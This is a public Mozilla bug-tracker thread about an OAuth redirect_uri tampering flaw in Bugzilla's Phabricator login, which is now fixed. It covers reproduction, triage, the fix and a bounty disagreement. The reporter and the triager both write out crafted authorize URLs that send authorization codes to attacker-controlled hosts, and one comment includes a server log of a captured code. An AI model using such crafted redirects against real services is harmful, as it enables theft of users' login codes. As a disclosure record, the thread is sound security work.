1761594 - Bugzilla should reject redirect_uri tampering when being used for authentication with Phabricator

Status: RESOLVED FIXED

(bugzilla.mozilla.org :: General, defect)

Description

[Irwan]

hi team,
I saw a steall token via a redirect when connecting phabricator.services.mozilla.com to auth bugzilla, where this token is very important, namely to enter the phabricator.services.mozilla.com site, when managed to get the token, then what happens is Full Account Takeover .

Production steps:

1. Go to fabricator.services.mozilla.com
2. then login using bugzilla auth,
3. when you get to confirm/allow auth,
4. change parameter redirect_uri=https://phabricator.services.attacker.com
   example :

• https://bugzilla.mozilla.org/oauth/authorize?client_id={code}&scope=user%3Aread&redirect_uri=https%3A%2F%2Fphabricator.services.attacker.com%2Fauth%2Flogin%2Fbmo%3Abugzilla.mozilla. org%2F&state={code}&response_type=code

5. enter/allow: the token will be stolen via the redirect.

POC videos :

• https://drive.google.com/file/d/1JQwsoWTtN28uz6WxLgeLJmYoFOKZIUdU/view?usp=sharing

Impact:
if the above scenario goes well, then a Full Account Takeover will occur due to the theft of the login access token phabricator.services.mozilla.com

Comment 1

[Frida K [:frida]]

Hello Irwan,

Thank you for your report.

I was able to reproduce the issue using the below steps:

1. While logged in BMO, using the URL https://bugzilla.mozilla.org/oauth/authorize?client_id=<client-id>&scope=user%3Aread&redirect_uri=https://2caf-217-110-102-6.ngrok.io%2Fauth%2Flogin%2Fbmo%3Abugzilla.mozilla.org%2F&state=0361c9a3e1a793434189652f215624d1af2cf4d8&response_type=code

2. Select Allow and BMO redirects to my ngrok instance https://2caf-217-110-102-6.ngrok.io and I receive the authorization code:

% python3 -m http.server 9000   
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::1 - - [28/Mar/2022 15:15:19] code 404, message File not found
::1 - - [28/Mar/2022 15:15:19] "GET /auth/login/bmo:bugzilla.mozilla.org/?code=eyJhbGciOiJIUzI1NiJ9.eyJ....&state=0361c9a3e1a793434189652f215624d1af2cf4d8 HTTP/1.1" 404 -

However, I was not able to actually authenticate to phabricator, when I send the code and state parameters in the authentication request: https://phabricator.services.mozilla.com/auth/login/bmo:bugzilla.mozilla.org/?code=<code>&state=<state>, I receive 500 internal server error with invalid_grant error as you can see in the attachment.

Were you able to authenticate using the code you received on https://phabricator.services.attacker.com?

Thanks,
Frida

Comment 2

[Frida K [:frida]]

Attachment: error when authenticating using stolen code

Comment 3

[Irwan]

thank you frida for your time and reply, I am now not at the computer to see the error. I'll be back tomorrow night to review this issue.
Greetings…

Comment 4

[Irwan]

Hi Frida,
i went back and got the cause of the error, i saw the stolen token was a valid token, but just need to get cookies named phcid and phsid to make the stolen token work until Account Takeover.

• I think they are ClientID and SessionID cookies
  Although there is no way to get these cookies, but when XSS is found, combining the stolen tokens causes a Full Account Takeover

see this in more detail.
https://drive.google.com/file/d/1AVFztGx6nLA0U_NksKvyERm-oUhlkhi6/view?usp=sharing

Comment 5

[Frida K [:frida]]

I will give it another try with setting the cookies. I'll check with the responsible team to see what they think as well.

Thanks,
Frida

Comment 6

[Frida K [:frida]]

Hello Zeid,

Can you please take a look at this issue and let us know your thoughts? It seems like we don't have validation on the redirect_url parameter which could lead to stealing the generated token by malicious app.

Thanks,
Frida

Comment 7

[Irwan]

Thank you for your quick validation.

Best Regards.
Irwan

Comment 8

[David Lawrence [:dkl]]

I am working on adding the checking to Bugzilla that verifies that the redirect_url has not been tampered with before redirecting to the client address. Should be done with that today.

Comment 9

[Frida K [:frida]]

Thanks David, appreciate your help.

Regards,
Frida

Comment 10

[Frida K [:frida]]

Hello Irwan,

I was looking into how you were able to authenticate using the stolen token in the video. These are the steps you performed:

1. login using the correct redirect_uri which is set to phabricator.services.mozilla.com.
2. note the phsid and phcid cookie values from that request.
3. use those values to set the cookies when requesting phabricator.services.mozilla.com/auth/login/bmo:bugzilla.mozilla.org/?code=<code>&state=<state>

In this case the attacker would need to know the values of the cookies for a valid request. However, the error you received is different from the one I am getting. I get 500 response with invalid grant error message, whereas the error you receive is related to cookies not being set.

I agree that we should enforce better validation on the redirect_uri when authenticating but I don't think stealing the token using this method leads to account takeover, unless you can prove otherwise. I would imagine the steps would be something like:

1. send the following request using the redirect_uri that is controlled by the attacker: https://bugzilla.mozilla.org/oauth/authorize?client_id=46ZcfPbH815zhnmUeyBw&scope=user%3Aread&redirect_uri=https://attacker-controlled-domain.com%2Fauth%2Flogin%2Fbmo%3Abugzilla.mozilla.org%2F&state=0361c9a3e1a793434189652f215624d1af2cf4d8&response_type=code

2. get the code and state parameters sent to the attacker.

3. send request to phabricator using those parameters: https://phabricator.services.mozilla.com/auth/login/bmo:bugzilla.mozilla.org/?code=%EF%BF%BDcode%3E&state=%EF%BF%BDstate%3E

4. login is successful.

Based on my testing, I don't think this is possible, please check and let us know if you are able to do that.

Thanks,
Frida

Comment 11

[Irwan]

thanks frida for your time and reply,

as I explained in comment #4,
it is true that the stolen token has not been able to penetrate the Takeover Account, because the token must be validated with cookies,
but when XSS occurs by combining the stolen token with the phcid & phsid cookies it becomes a full Account Takeover, I also haven't gotten how to bypass the redirect to XSS, I think before that happens it would be better if the token theft redirect was fixed.

best Regards

Comment 12

[Irwan]

hi did you guys make any changes i see this has been fixed?

Comment 13

[David Lawrence [:dkl]]

(In reply to Irwan from comment #12)

hi did you guys make any changes i see this has been fixed?

No changes have been made yet on our end.

Comment 14

[Irwan]

why? why the redirect can't work? then the phabricator account has been disabled? did i commit a violation? I do not think so.

Comment 15

[David Lawrence [:dkl]]

(In reply to Irwan from comment #14)

why? why the redirect can't work? then the phabricator account has been disabled? did i commit a violation? I do not think so.

Ah, if you are the owner of the 'tes (tesets)' account in Phabricator, it was disabled due to user reports of inappropriate comments made in revisions. I have re-activated it at this time but please do not use production systems such as Phabricator and Bugzilla for testing purposes. They are shared resources that Mozilla engineers and the larger Mozilla community rely on, and using or abusing them in this manner, whatever the motive, can impede or interrupt a lot of other people's work.

We can work with you on setting up a local Phabricator/Bugzilla instance for testing instead of adding test comments to valid revisions, etc.

Thanks

Comment 16

[Irwan]

Oops :), sorry about that, I'll be careful again in testing,

Cheers.

Comment 17

[David Lawrence [:dkl]]

Attachment: GitHub Pull Request

Comment 18

[Irwan]

do you guys have an update now?

Comment 19

[Frida K [:frida]]

You can see the updates in the PR: https://github.com/mozilla-bteam/bmo/pull/1826. It is still under review.

Comment 20

[Irwan]

hi i don't see any changes there? and this problem has been taking months?

Comment 21

[David Lawrence [:dkl]]

Merged to master.
https://github.com/mozilla-bteam/bmo/commit/1a4540e3d58119185d642ef13e9f5f68841f60ec

Leaving bug open for verification once this is deployed.

Comment 22

[Frida K [:frida]]

the issue seems to be fixed, when I send the request to:

https://bugzilla.mozilla.org/oauth/authorize?client_id=46ZcfPbH815zhnmUeyBw&scope=user%3Aread&redirect_uri=https://attacker-controlled-domain.com%2Fauth%2Flogin%2Fbmo%3Abugzilla.mozilla.org%2F&state=0361c9a3e1a793434189652f215624d1af2cf4d8&response_type=code

I get 500 internal sever error.

Comment 23

[David Lawrence [:dkl]]

(In reply to Irwan from comment #20)

hi i don't see any changes there? and this problem has been taking months?

This change is now live on production bugzilla. Can you verify this is no longer an issue in your tests?

Comment 24

[Irwan]

hi I see an access denied status, indicating this has been resolved.

sorry to ask when will I hear the bounty decision on this matter?

thanks..
Irwan

Comment 25

[Frida K [:frida]]

Thanks for confirming the fix.

We usually meet on a weekly basis (except for holidays and vacations) to discuss bounty decisions. We will get back to you in a couple of weeks.

Thanks,
Frida

Comment 26

[David Lawrence [:dkl]]

Normally, as part of process, we make the bug public once it is closed and deployed live. The code is also pushed to the public repo with the bug id and summary in the commit message. Is there a reason that this needs to remain private? Any issues with the fix or implementation would be tracked in a new private bugs since this one is already public knowledge.

Comment 27

[Frida K [:frida]]

I understand and we will unhide the bug after we discuss and decide on the bounty. We prefer to keep the bug private until then to make sure the bug is fully addressed before it's made public.

Comment 28

[Irwan]

Hi Frida,
I noticed a change to Firefox's bug bounty program policy where the domain phabricator.services.mozilla.com has moved to the critical sites category, I can't wait to hear the latest decision from you guys.

Best Regards...

Comment 29

[Irwan]

Hey can you explain why this doesn't qualify for a bounty?

Comment 30

[Frida K [:frida]]

Hello Irwan,

We just had a chance to discuss the report. Based on our discussion and the lack of evidence of actually exploiting the issue to authenticate on behalf of the user as mentioned in comment 10, we classified this bug as an open redirect bug because of the lack of validation on redirect_uri. Based on our program policy, https://www.mozilla.org/en-US/security/web-bug-bounty/, open redirect bugs are only eligible for HoF.

Thanks,
Frida

Comment 31

[Irwan]

Hi Frida,
Thank you for your explanation, then what about stolen tokens, even though this is not yet a fully account takeover, but the tokens that you get are valid, Then why you fixed this ticket, while the redirect is still there? It's just a token that can't be accessed

Comment 32

[Irwan]

I'm a little disappointed with this, I've been on hackerone for a long time, every redirect bug with token theft endpoint is High, even though it hasn't reached account takeover.

Comment 33

[Frida K [:frida]]

Even if the attacker receives the code and state parameters, the attacker cannot do much with them. The code and state parameters still need to be exchanged for a token in order to authenticate as the user, which was not possible in this case.

The validation on the redirect_uri is necessary based on the openID specs and to also prevent open redirects.

Comment 34

[Frida K [:frida]]

(In reply to Irwan from comment #32)

I'm a little disappointed with this, I've been on hackerone for a long time, every redirect bug with token theft endpoint is High, even though it hasn't reached account takeover.

We consider the impact based on the context of our application so we cannot be compared to other companies, the token theft might have had a different impact in their own context.

Comment 35

[Irwan]

Then if you guys just dumped the bug token, why is this set as open Redirect? And the redirect still works?
I don't compare if the context is different and the cases I find are the same, at least they respect it all

Comment 36

[Frida K [:frida]]

for reference, this is the part of the code in Phabricator that prevents authentication when tampering with the redirect_uri: https://github.com/phacility/phabricator/blob/de980cc54e8cf947ec16d8d46630cb7a5261cd41/src/applications/oauthserver/controller/PhabricatorOAuthServerTokenController.php#L101.

Comment 37

[Frida K [:frida]]

(In reply to Irwan from comment #35)

Then if you guys just dumped the bug token, why is this set as open Redirect? And the redirect still works?
I don't compare if the context is different and the cases I find are the same, at least they respect it all

Can you please send us an email to [e-mail] for discussions related to the bounty decisions?

Thanks,
Frida